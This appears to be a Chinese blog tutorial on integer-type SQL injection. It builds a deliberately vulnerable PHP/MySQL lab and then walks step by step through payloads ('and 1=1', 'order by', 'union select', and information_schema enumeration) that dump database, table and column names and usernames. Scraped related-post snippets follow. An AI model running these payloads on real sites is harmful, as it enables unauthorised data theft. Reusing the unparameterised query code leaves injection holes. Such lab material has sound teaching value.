SQL注入中的整型注入实验
首先搭建一个用于注入的环境
目录结构
conn.php 用来连接数据库的文件PHP文件
index.php 用来执行SQL命令,以及返回查询结构
index.html 一个存在注入点的页面
conn.php的代码
<?php
$servername="localhost";
$username="root";
$password="weiwhy";
try{
$con=new PDO("mysql:host=$servername;dbname=phpdisk",$username,$password);
echo "链接数据库成功";
}catch(PDOException $e){
echo $e->getMessage();
} $con->exec('set names utf8');///exec方法用来执行没有结果返回的SQL语句。。。设置查询语句为utf-8
?>
index.php代码
<?php
require('conn.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php
$id=$_GET['id'];
$result=$con->query("select * from pd_users where userid=$id");//执行查询的SQL语句
foreach($result as $value){
var_dump($value);////直接输出作为显示位
}
?>
</body>
</html>
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form action="index.php" method="GET">
<input type="text" name="id">
<input type="submit" value="提交">
</form>
</body>
</html>
存在的注入点为
http://www.a.com/index.php?id=1
第一步,首先判断注入点是否可用
http://www.a.com/index.php?id=1 and 1=1显示正常
http://www.a.com/index.php?id=1 and 1=2 正常返回但是没有数据
第二步,判断查询的表存在的列数
http://www.a.com/index.php?id=1 order by 2
使用排序方法判断存在多少行,根据第29列无法排序,说明不存在这一列
根据第28列排序正常,所以此表存在28列
第三步,使用联合查询,查找显示位
union select 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4
第四步,查询所有的库名
通过查询information_schema.schemata表
select distinct group_concat(schema_name) from information_schema.schemata
第五步,查询指定库的所有表
可以看到上一步中,拿到另外所有的库名,这一步指定查询estoresyste库
select distinct group_concat(table_name) from information_schema.tables where table_schema='estoresystem'
第六步,查询指定表的所有列
拿到指定库的所有表之后,指定查询user表的所有列
select distinct group_concat(column_name) from information_schema.columns where table_name='users'
第七步,查询数据
select distinct group_concat(username) from estoresystem.users
查询到该表的四个用户
SQL注入中的整型注入实验的更多相关文章
- 阿里云提示:对输入参数id未进行正确类型转义,导致整型注入的发生
类似以下提示: XXX.php中,对输入参数id未进行正确类型转义,导致整型注入的发生 解决办法: 找到对应文件:$id = $_GET['id']; 增加以下标红过滤: $id = $_GET['i ...
- 【sqli-labs】 less35 GET- Bypass Add Slashes(we dont need them) Integer based (GET型绕过addslashes() 函数的整型注入)
整型注入不用闭合引号,那就更简单了 http://192.168.136.128/sqli-labs-master/Less-35/?id=0 union select 1,database(),3% ...
- dateline 在数据库中就是 整型字段。date函数是可以转换成可读日期的。
返回数据中的dateline全部用date()函数转换后再返回,是要嵌套循环还是遍历,代码怎么写? //查询我的活动 function user_activity_info_by_uid($uid){ ...
- CVE-2018-14634 - Linux create_elf_tables()中的整型溢出 - 翻译
原文:https://seclists.org/oss-sec/2018/q3/274 摘要 Qualys研究实验室的安全团队发现一个位于Linux内核函数create_elf_tables()中的整 ...
- 【sqli-labs】 less41 GET -Blind based -Intiger -Stacked(GET型基于盲注的堆叠查询整型注入)
整型的不用闭合引号 http://192.168.136.128/sqli-labs-master/Less-41/?id=1;insert into users(id,username,passwo ...
- MySQL和PHP中以整型存储IP地址
正文:将IP地址以整型存储 一般我们在数据库中会用到ip地址用来查记录的等等,而ip地址是分为四段的,一般是用varchar或char类型存储.但是其实有更好的存储方法就是以整型存储IP地址. 因为c ...
- 在JavaScript中判断整型的N种方法
原文:http://www.cnblogs.com/YcYYcY/p/3759184.html 整数类型(Integer)在JavaScript经常会导致一些奇怪的问题.在ECMAScript的规范中 ...
- C#语言基础 Main 函数中变量 整型
在我们每次上网或者用电脑的时候,请输入你的xxx 或者你的名字(年龄/身高/学校/籍贯)是 在这里我们就要学到一些变量,就是不确定的东西 string a: //赋予变量 a ="内容& ...
- c语言中指向整型指针的指针的理解
/************************************************************************* > File Name: ptr_ptr_i ...
随机推荐
- C++之static类成员,static类成员函数
0.static修饰类中成员,表示类的共享数据 1.static类成员 在C++primer里面说过,static类成员不像普通的类数据成员,static类数据成员独立于一切类对象处在.static类 ...
- CF 757E Bash Plays with Functions——积性函数+dp+质因数分解
题目:http://codeforces.com/contest/757/problem/E f0[n]=2^m,其中m是n的质因子个数(种类数).大概是一种质因数只能放在 d 或 n/d 两者之一. ...
- Storm 1.0 新特性
Storm 1.0.0版本增加了很多新的特性,可用性以及性能也得到了很大的改善,该版本是Storm发展历程上一个里程碑式的版本,主要特点如下. 性能提升 Storm 1.0.0版本最大的亮点就是性能提 ...
- CPU、内存、硬盘分区的检测.py
cpu_mem_directories.py CPU.内存.硬盘分区的检测 #!/usr/bin/env python #coding:utf-8 import psutil import tim ...
- 二、Chrome开发者工具详解(2)-Network面板
摘自: http://www.cnblogs.com/charliechu/p/5981346.html
- 评判云服务靠谱程度 -- Coding 安全那些事
本文依据孙宇聪在 SegmentFault D-Day 北京场的演讲内容整理,并授权首发于“高效运维”公众号.10月11日,SegmentFault 将在上海举办D-Day,围绕 Docker 主题. ...
- std::map的删除
void eraseMap() { int n = sizeof(MmMethod); std::map<CString, int>mapDemo; ; i < ; i++) { C ...
- HDU3478 【判奇环/二分图的性质】
题意: 给你一幅图,给你一个起点,然后问你存不存在一个时刻,所有点可以在那个时刻到达. 思路: 这幅图首先是联通的: 如果出现奇数环,则满足在某一时刻都可能到达: 然后判断奇数环用二分图性质搞也是神奇 ...
- ajax 的三种使用方法
第一种 也是最古老的一种方法之一 from 表单直接提交数据到php文件里 action为路径 <form method="post" action="./inde ...
- CTP 下单返回错误: 没有报单权限 和字段错误需要注意的问题
没有报单权限一般被认为期货公司没有开权限, 但是更多的问题是没有填写 BrokerId, InvestorId 下单字段错误注意一个容易忽略的地方: a. order 应该全部设为0, b. orde ...